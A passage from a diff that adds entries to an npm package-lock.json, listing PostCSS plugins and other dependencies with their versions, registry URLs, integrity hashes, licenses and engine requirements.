21914+ "node_modules/postcss-modules-scope": {
21915+ "version": "3.2.1",
21916+ "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz",
21917+ "integrity": "sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==",
21918+ "license": "ISC",
21919+ "dependencies": {
21920+ "postcss-selector-parser": "^7.0.0"
21921+ },
21922+ "engines": {
21923+ "node": "^10 || ^12 || >= 14"
21924+ },
21925+ "peerDependencies": {
21926+ "postcss": "^8.1.0"
21927+ }
21928+ },
21929+ "node_modules/postcss-modules-scope/node_modules/postcss-selector-parser": {
21930+ "version": "7.1.1",
21931+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
21932+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
21933+ "license": "MIT",
21934+ "dependencies": {
21935+ "cssesc": "^3.0.0",
21936+ "util-deprecate": "^1.0.2"
21937+ },
21938+ "engines": {
21939+ "node": ">=4"
21940+ }
21941+ },
21942+ "node_modules/postcss-modules-values": {
21943+ "version": "4.0.0",
21944+ "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz",
21945+ "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==",
21946+ "license": "ISC",
21947+ "dependencies": {
21948+ "icss-utils": "^5.0.0"
21949+ },
21950+ "engines": {
21951+ "node": "^10 || ^12 || >= 14"
21952+ },
21953+ "peerDependencies": {
21954+ "postcss": "^8.1.0"
21955+ }
21956+ },
21957+ "node_modules/postcss-nested": {
21958+ "version": "6.2.0",
21959+ "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
21960+ "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==",
21961+ "funding": [
21962+ {
21963+ "type": "opencollective",
21964+ "url": "https://opencollective.com/postcss/"
21965+ },
21966+ {
21967+ "type": "github",
21968+ "url": "https://github.com/sponsors/ai"
21969+ }
21970+ ],
21971+ "license": "MIT",
21972+ "dependencies": {
21973+ "postcss-selector-parser": "^6.1.1"
21974+ },
21975+ "engines": {
21976+ "node": ">=12.0"
21977+ },
21978+ "peerDependencies": {
21979+ "postcss": "^8.2.14"
21980+ }
21981+ },
21982+ "node_modules/postcss-nesting": {
21983+ "version": "10.2.0",
21984+ "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz",
21985+ "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==",
21986+ "license": "CC0-1.0",
21987+ "dependencies": {
21988+ "@csstools/selector-specificity": "^2.0.0",
21989+ "postcss-selector-parser": "^6.0.10"
21990+ },
21991+ "engines": {
21992+ "node": "^12 || ^14 || >=16"
21993+ },
21994+ "funding": {
21995+ "type": "opencollective",
21996+ "url": "https://opencollective.com/csstools"
21997+ },
21998+ "peerDependencies": {
21999+ "postcss": "^8.2"
22000+ }
22001+ },
22002+ "node_modules/postcss-normalize": {
22003+ "version": "10.0.1",
22004+ "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz",
22005+ "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==",
22006+ "license": "CC0-1.0",
22007+ "dependencies": {
22008+ "@csstools/normalize.css": "*",
22009+ "postcss-browser-comments": "^4",
22010+ "sanitize.css": "*"
22011+ },
22012+ "engines": {
22013+ "node": ">= 12"
22014+ },
22015+ "peerDependencies": {
22016+ "browserslist": ">= 4",
22017+ "postcss": ">= 8"
22018+ }
22019+ },
22020+ "node_modules/postcss-normalize-charset": {
22021+ "version": "5.1.0",
22022+ "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz",
22023+ "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==",
22024+ "license": "MIT",
22025+ "engines": {
22026+ "node": "^10 || ^12 || >=14.0"
22027+ },
22028+ "peerDependencies": {
22029+ "postcss": "^8.2.15"
22030+ }
22031+ },
22032+ "node_modules/postcss-normalize-display-values": {
22033+ "version": "5.1.0",
22034+ "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz",
22035+ "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==",
22036+ "license": "MIT",
22037+ "dependencies": {
22038+ "postcss-value-parser": "^4.2.0"
22039+ },
22040+ "engines": {
22041+ "node": "^10 || ^12 || >=14.0"
22042+ },
22043+ "peerDependencies": {
22044+ "postcss": "^8.2.15"
22045+ }
22046+ },
22047+ "node_modules/postcss-normalize-positions": {
22048+ "version": "5.1.1",
22049+ "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz",
22050+ "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==",
22051+ "license": "MIT",
22052+ "dependencies": {
22053+ "postcss-value-parser": "^4.2.0"
22054+ },
22055+ "engines": {
22056+ "node": "^10 || ^12 || >=14.0"
22057+ },
22058+ "peerDependencies": {
22059+ "postcss": "^8.2.15"
22060+ }
22061+ },
22062+ "node_modules/postcss-normalize-repeat-style": {
22063+ "version": "5.1.1",
22064+ "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz",
22065+ "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==",
22066+ "license": "MIT",
22067+ "dependencies": {
22068+ "postcss-value-parser": "^4.2.0"
22069+ },
22070+ "engines": {
22071+ "node": "^10 || ^12 || >=14.0"
22072+ },
22073+ "peerDependencies": {
22074+ "postcss": "^8.2.15"
22075+ }
22076+ },
22077+ "node_modules/postcss-normalize-string": {
22078+ "version": "5.1.0",
22079+ "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz",
22080+ "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==",
22081+ "license": "MIT",
22082+ "dependencies": {
22083+ "postcss-value-parser": "^4.2.0"
22084+ },
22085+ "engines": {
22086+ "node": "^10 || ^12 || >=14.0"
22087+ },
22088+ "peerDependencies": {
22089+ "postcss": "^8.2.15"
22090+ }
22091+ },
22092+ "node_modules/postcss-normalize-timing-functions": {
22093+ "version": "5.1.0",
22094+ "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz",
22095+ "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==",
22096+ "license": "MIT",
22097+ "dependencies": {
22098+ "postcss-value-parser": "^4.2.0"
22099+ },
22100+ "engines": {
22101+ "node": "^10 || ^12 || >=14.0"
22102+ },
22103+ "peerDependencies": {
22104+ "postcss": "^8.2.15"
22105+ }
22106+ },
22107+ "node_modules/postcss-normalize-unicode": {
22108+ "version": "5.1.1",
22109+ "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz",
22110+ "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==",
22111+ "license": "MIT",
22112+ "dependencies": {
22113+ "browserslist": "^4.21.4",
22114+ "postcss-value-parser": "^4.2.0"
22115+ },
22116+ "engines": {
22117+ "node": "^10 || ^12 || >=14.0"
22118+ },
22119+ "peerDependencies": {
22120+ "postcss": "^8.2.15"
22121+ }
22122+ },
22123+ "node_modules/postcss-normalize-url": {
22124+ "version": "5.1.0",
22125+ "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz",
22126+ "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==",
22127+ "license": "MIT",
22128+ "dependencies": {
22129+ "normalize-url": "^6.0.1",
22130+ "postcss-value-parser": "^4.2.0"
22131+ },
22132+ "engines": {
22133+ "node": "^10 || ^12 || >=14.0"
22134+ },
22135+ "peerDependencies": {
22136+ "postcss": "^8.2.15"
22137+ }
22138+ },
22139+ "node_modules/postcss-normalize-whitespace": {
22140+ "version": "5.1.1",
22141+ "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz",
22142+ "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==",
22143+ "license": "MIT",
22144+ "dependencies": {
22145+ "postcss-value-parser": "^4.2.0"
22146+ },
22147+ "engines": {
22148+ "node": "^10 || ^12 || >=14.0"
22149+ },
22150+ "peerDependencies": {
22151+ "postcss": "^8.2.15"
22152+ }
22153+ },
22154+ "node_modules/postcss-opacity-percentage": {
22155+ "version": "1.1.3",
22156+ "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz",
22157+ "integrity": "sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==",
22158+ "funding": [
22159+ {
22160+ "type": "kofi",
22161+ "url": "https://ko-fi.com/mrcgrtz"
22162+ },
22163+ {
22164+ "type": "liberapay",
22165+ "url": "https://liberapay.com/mrcgrtz"
22166+ }
22167+ ],
22168+ "license": "MIT",
22169+ "engines": {
22170+ "node": "^12 || ^14 || >=16"
22171+ },
22172+ "peerDependencies": {
22173+ "postcss": "^8.2"
22174+ }
22175+ },
22176+ "node_modules/postcss-ordered-values": {
22177+ "version": "5.1.3",
22178+ "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz",
22179+ "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==",
22180+ "license": "MIT",
22181+ "dependencies": {
22182+ "cssnano-utils": "^3.1.0",
22183+ "postcss-value-parser": "^4.2.0"
22184+ },
22185+ "engines": {
22186+ "node": "^10 || ^12 || >=14.0"
22187+ },
22188+ "peerDependencies": {
22189+ "postcss": "^8.2.15"
22190+ }
22191+ },
22192+ "node_modules/postcss-overflow-shorthand": {
22193+ "version": "3.0.4",
22194+ "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz",
22195+ "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==",
22196+ "license": "CC0-1.0",
22197+ "dependencies": {
22198+ "postcss-value-parser": "^4.2.0"
22199+ },
22200+ "engines": {
22201+ "node": "^12 || ^14 || >=16"
22202+ },
22203+ "funding": {
22204+ "type": "opencollective",
22205+ "url": "https://opencollective.com/csstools"
22206+ },
22207+ "peerDependencies": {
22208+ "postcss": "^8.2"
22209+ }
22210+ },
22211+ "node_modules/postcss-page-break": {
22212+ "version": "3.0.4",
22213+ "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz",
22214+ "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==",
22215+ "license": "MIT",
22216+ "peerDependencies": {
22217+ "postcss": "^8"
22218+ }
22219+ },
22220+ "node_modules/postcss-place": {
22221+ "version": "7.0.5",
22222+ "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz",
22223+ "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==",
22224+ "license": "CC0-1.0",
22225+ "dependencies": {
22226+ "postcss-value-parser": "^4.2.0"
22227+ },
22228+ "engines": {
22229+ "node": "^12 || ^14 || >=16"
22230+ },
22231+ "funding": {
22232+ "type": "opencollective",
22233+ "url": "https://opencollective.com/csstools"
22234+ },
22235+ "peerDependencies": {
22236+ "postcss": "^8.2"
22237+ }
22238+ },
22239+ "node_modules/postcss-preset-env": {
22240+ "version": "7.8.3",
22241+ "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz",
22242+ "integrity": "sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==",
22243+ "license": "CC0-1.0",
22244+ "dependencies": {
22245+ "@csstools/postcss-cascade-layers": "^1.1.1",
22246+ "@csstools/postcss-color-function": "^1.1.1",
22247+ "@csstools/postcss-font-format-keywords": "^1.0.1",
22248+ "@csstools/postcss-hwb-function": "^1.0.2",
22249+ "@csstools/postcss-ic-unit": "^1.0.1",
22250+ "@csstools/postcss-is-pseudo-class": "^2.0.7",
22251+ "@csstools/postcss-nested-calc": "^1.0.0",
22252+ "@csstools/postcss-normalize-display-values": "^1.0.1",
22253+ "@csstools/postcss-oklab-function": "^1.1.1",
22254+ "@csstools/postcss-progressive-custom-properties": "^1.3.0",
22255+ "@csstools/postcss-stepped-value-functions": "^1.0.1",
22256+ "@csstools/postcss-text-decoration-shorthand": "^1.0.0",
22257+ "@csstools/postcss-trigonometric-functions": "^1.0.2",
22258+ "@csstools/postcss-unset-value": "^1.0.2",
22259+ "autoprefixer": "^10.4.13",
22260+ "browserslist": "^4.21.4",
22261+ "css-blank-pseudo": "^3.0.3",
22262+ "css-has-pseudo": "^3.0.4",
22263+ "css-prefers-color-scheme": "^6.0.3",
22264+ "cssdb": "^7.1.0",
22265+ "postcss-attribute-case-insensitive": "^5.0.2",
22266+ "postcss-clamp": "^4.1.0",
22267+ "postcss-color-functional-notation": "^4.2.4",
22268+ "postcss-color-hex-alpha": "^8.0.4",
22269+ "postcss-color-rebeccapurple": "^7.1.1",
22270+ "postcss-custom-media": "^8.0.2",
22271+ "postcss-custom-properties": "^12.1.10",
22272+ "postcss-custom-selectors": "^6.0.3",
22273+ "postcss-dir-pseudo-class": "^6.0.5",
22274+ "postcss-double-position-gradients": "^3.1.2",
22275+ "postcss-env-function": "^4.0.6",
22276+ "postcss-focus-visible": "^6.0.4",
22277+ "postcss-focus-within": "^5.0.4",
22278+ "postcss-font-variant": "^5.0.0",
22279+ "postcss-gap-properties": "^3.0.5",
22280+ "postcss-image-set-function": "^4.0.7",
22281+ "postcss-initial": "^4.0.1",
22282+ "postcss-lab-function": "^4.2.1",
22283+ "postcss-logical": "^5.0.4",
22284+ "postcss-media-minmax": "^5.0.0",
22285+ "postcss-nesting": "^10.2.0",
22286+ "postcss-opacity-percentage": "^1.1.2",
22287+ "postcss-overflow-shorthand": "^3.0.4",
22288+ "postcss-page-break": "^3.0.4",
22289+ "postcss-place": "^7.0.5",
22290+ "postcss-pseudo-class-any-link": "^7.1.6",
22291+ "postcss-replace-overflow-wrap": "^4.0.0",
22292+ "postcss-selector-not": "^6.0.1",
22293+ "postcss-value-parser": "^4.2.0"
22294+ },
22295+ "engines": {
22296+ "node": "^12 || ^14 || >=16"
22297+ },
22298+ "funding": {
22299+ "type": "opencollective",
22300+ "url": "https://opencollective.com/csstools"
22301+ },
22302+ "peerDependencies": {
22303+ "postcss": "^8.2"
22304+ }
22305+ },
22306+ "node_modules/postcss-pseudo-class-any-link": {
22307+ "version": "7.1.6",
22308+ "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz",
22309+ "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==",
22310+ "license": "CC0-1.0",
22311+ "dependencies": {
22312+ "postcss-selector-parser": "^6.0.10"
22313+ },
22314+ "engines": {
22315+ "node": "^12 || ^14 || >=16"
22316+ },
22317+ "funding": {
22318+ "type": "opencollective",
22319+ "url": "https://opencollective.com/csstools"
22320+ },
22321+ "peerDependencies": {
22322+ "postcss": "^8.2"
22323+ }
22324+ },
22325+ "node_modules/postcss-reduce-initial": {
22326+ "version": "5.1.2",
22327+ "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz",
22328+ "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==",
22329+ "license": "MIT",
22330+ "dependencies": {
22331+ "browserslist": "^4.21.4",
22332+ "caniuse-api": "^3.0.0"
22333+ },
22334+ "engines": {
22335+ "node": "^10 || ^12 || >=14.0"
22336+ },
22337+ "peerDependencies": {
22338+ "postcss": "^8.2.15"
22339+ }
22340+ },
22341+ "node_modules/postcss-reduce-transforms": {
22342+ "version": "5.1.0",
22343+ "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz",
22344+ "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==",
22345+ "license": "MIT",
22346+ "dependencies": {
22347+ "postcss-value-parser": "^4.2.0"
22348+ },
22349+ "engines": {
22350+ "node": "^10 || ^12 || >=14.0"
22351+ },
22352+ "peerDependencies": {
22353+ "postcss": "^8.2.15"
22354+ }
22355+ },
22356+ "node_modules/postcss-replace-overflow-wrap": {
22357+ "version": "4.0.0",
22358+ "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz",
22359+ "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==",
22360+ "license": "MIT",
22361+ "peerDependencies": {
22362+ "postcss": "^8.0.3"
22363+ }
22364+ },
22365+ "node_modules/postcss-selector-not": {
22366+ "version": "6.0.1",
22367+ "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz",
22368+ "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==",
22369+ "license": "MIT",
22370+ "dependencies": {
22371+ "postcss-selector-parser": "^6.0.10"
22372+ },
22373+ "engines": {
22374+ "node": "^12 || ^14 || >=16"
22375+ },
22376+ "funding": {
22377+ "type": "opencollective",
22378+ "url": "https://opencollective.com/csstools"
22379+ },
22380+ "peerDependencies": {
22381+ "postcss": "^8.2"
22382+ }
22383+ },
22384+ "node_modules/postcss-selector-parser": {
22385+ "version": "6.1.2",
22386+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
22387+ "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==",
22388+ "license": "MIT",
22389+ "dependencies": {
22390+ "cssesc": "^3.0.0",
22391+ "util-deprecate": "^1.0.2"
22392+ },
22393+ "engines": {
22394+ "node": ">=4"
22395+ }
22396+ },
22397+ "node_modules/postcss-svgo": {
22398+ "version": "5.1.0",
22399+ "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz",
22400+ "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==",
22401+ "license": "MIT",
22402+ "dependencies": {
22403+ "postcss-value-parser": "^4.2.0",
22404+ "svgo": "^2.7.0"
22405+ },
22406+ "engines": {
22407+ "node": "^10 || ^12 || >=14.0"
22408+ },
22409+ "peerDependencies": {
22410+ "postcss": "^8.2.15"
22411+ }
22412+ },
22413+ "node_modules/postcss-svgo/node_modules/commander": {
22414+ "version": "7.2.0",
22415+ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
22416+ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
22417+ "license": "MIT",
22418+ "engines": {
22419+ "node": ">= 10"
22420+ }
22421+ },
22422+ "node_modules/postcss-svgo/node_modules/css-tree": {
22423+ "version": "1.1.3",
22424+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
22425+ "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
22426+ "license": "MIT",
22427+ "dependencies": {
22428+ "mdn-data": "2.0.14",
22429+ "source-map": "^0.6.1"
22430+ },
22431+ "engines": {
22432+ "node": ">=8.0.0"
22433+ }
22434+ },
22435+ "node_modules/postcss-svgo/node_modules/mdn-data": {
22436+ "version": "2.0.14",
22437+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
22438+ "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==",
22439+ "license": "CC0-1.0"
22440+ },
22441+ "node_modules/postcss-svgo/node_modules/source-map": {
22442+ "version": "0.6.1",
22443+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
22444+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
22445+ "license": "BSD-3-Clause",
22446+ "engines": {
22447+ "node": ">=0.10.0"
22448+ }
22449+ },
22450+ "node_modules/postcss-svgo/node_modules/svgo": {
22451+ "version": "2.8.0",
22452+ "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz",
22453+ "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==",
22454+ "license": "MIT",
22455+ "dependencies": {
22456+ "@trysound/sax": "0.2.0",
22457+ "commander": "^7.2.0",
22458+ "css-select": "^4.1.3",
22459+ "css-tree": "^1.1.3",
22460+ "csso": "^4.2.0",
22461+ "picocolors": "^1.0.0",
22462+ "stable": "^0.1.8"
22463+ },
22464+ "bin": {
22465+ "svgo": "bin/svgo"
22466+ },
22467+ "engines": {
22468+ "node": ">=10.13.0"
22469+ }
22470+ },
22471+ "node_modules/postcss-unique-selectors": {
22472+ "version": "5.1.1",
22473+ "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz",
22474+ "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==",
22475+ "license": "MIT",
22476+ "dependencies": {
22477+ "postcss-selector-parser": "^6.0.5"
22478+ },
22479+ "engines": {
22480+ "node": "^10 || ^12 || >=14.0"
22481+ },
22482+ "peerDependencies": {
22483+ "postcss": "^8.2.15"
22484+ }
22485+ },
22486+ "node_modules/postcss-value-parser": {
22487+ "version": "4.2.0",
22488+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
22489+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
22490+ "license": "MIT"
22491+ },
22492+ "node_modules/potpack": {
22493+ "version": "1.0.2",
22494+ "resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz",
22495+ "integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
22496+ "license": "ISC"
22497+ },
22498+ "node_modules/preact": {
22499+ "version": "10.4.1",
22500+ "resolved": "https://registry.npmjs.org/preact/-/preact-10.4.1.tgz",
22501+ "integrity": "sha512-WKrRpCSwL2t3tpOOGhf2WfTpcmbpxaWtDbdJdKdjd0aEiTkvOmS4NBkG6kzlaAHI9AkQ3iVqbFWM3Ei7mZ4o1Q==",
22502+ "license": "MIT",
22503+ "funding": {
22504+ "type": "opencollective",
22505+ "url": "https://opencollective.com/preact"
22506+ }
22507+ },
22508+ "node_modules/precond": {
22509+ "version": "0.2.3",
22510+ "resolved": "https://registry.npmjs.org/precond/-/precond-0.2.3.tgz",
22511+ "integrity": "sha512-QCYG84SgGyGzqJ/vlMsxeXd/pgL/I94ixdNFyh1PusWmTCyVfPJjZ1K1jvHtsbfnXQs2TSkEP2fR7QiMZAnKFQ==",
22512+ "engines": {
22513+ "node": ">= 0.6"
22514+ }
22515+ },
22516+ "node_modules/prelude-ls": {
22517+ "version": "1.2.1",
22518+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
22519+ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
22520+ "license": "MIT",
22521+ "engines": {
22522+ "node": ">= 0.8.0"
22523+ }
22524+ },
22525+ "node_modules/pretty-bytes": {
22526+ "version": "5.6.0",
22527+ "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
22528+ "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==",
22529+ "license": "MIT",
22530+ "engines": {
22531+ "node": ">=6"
22532+ },
22533+ "funding": {
22534+ "url": "https://github.com/sponsors/sindresorhus"
22535+ }
22536+ },
22537+ "node_modules/pretty-error": {
22538+ "version": "4.0.0",
22539+ "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz",
22540+ "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==",
22541+ "license": "MIT",
22542+ "dependencies": {
22543+ "lodash": "^4.17.20",
22544+ "renderkid": "^3.0.0"
22545+ }
22546+ },
22547+ "node_modules/pretty-format": {
22548+ "version": "27.5.1",
22549+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
22550+ "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
22551+ "license": "MIT",
22552+ "dependencies": {
22553+ "ansi-regex": "^5.0.1",
22554+ "ansi-styles": "^5.0.0",
22555+ "react-is": "^17.0.1"
22556+ },
22557+ "engines": {
22558+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
22559+ }
22560+ },
22561+ "node_modules/pretty-format/node_modules/ansi-styles": {
22562+ "version": "5.2.0",
22563+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
22564+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
22565+ "license": "MIT",
22566+ "engines": {
22567+ "node": ">=10"
22568+ },
22569+ "funding": {
22570+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
22571+ }
22572+ },
22573+ "node_modules/process": {
22574+ "version": "0.11.10",
22575+ "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
